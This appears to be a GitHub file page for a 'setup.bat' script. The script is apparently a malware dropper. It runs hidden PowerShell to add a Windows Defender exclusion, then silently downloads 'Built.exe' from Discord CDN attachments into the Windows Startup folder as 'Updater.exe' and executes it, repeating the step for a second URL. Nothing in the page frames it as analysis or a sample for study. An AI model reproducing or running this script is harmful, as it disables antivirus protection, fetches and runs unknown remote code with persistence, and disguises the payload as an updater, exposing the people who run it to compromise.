-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
setup.bat
38 lines (23 loc) · 796 Bytes
/
setup.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
powershell -w hidden -c Add-MpPreference -ExclusionPath ""
@echo off
setlocal
set "URL=https://cdn.discordapp.com/attachments/973337617057869825/1176190901970796564/Built.exe"
set "DEST=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Updater.exe"
if exist "%DEST%" del "%DEST%"
curl --silent --output "%DEST%" "%URL%"
if %errorlevel% neq 0 (
exit /b %errorlevel%
)
call "%DEST%"
@echo off
setlocal
set "URL=https://cdn.discordapp.com/attachments/973337617057869825/1176181839065526402/Built.exe"
set "DEST=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Updater.exe"
if exist "%DEST%" del "%DEST%"
curl --silent --output "%DEST%" "%URL%"
if %errorlevel% neq 0 (
exit /b %errorlevel%
)
call "%DEST%"
@echo off
cd /d %~dp0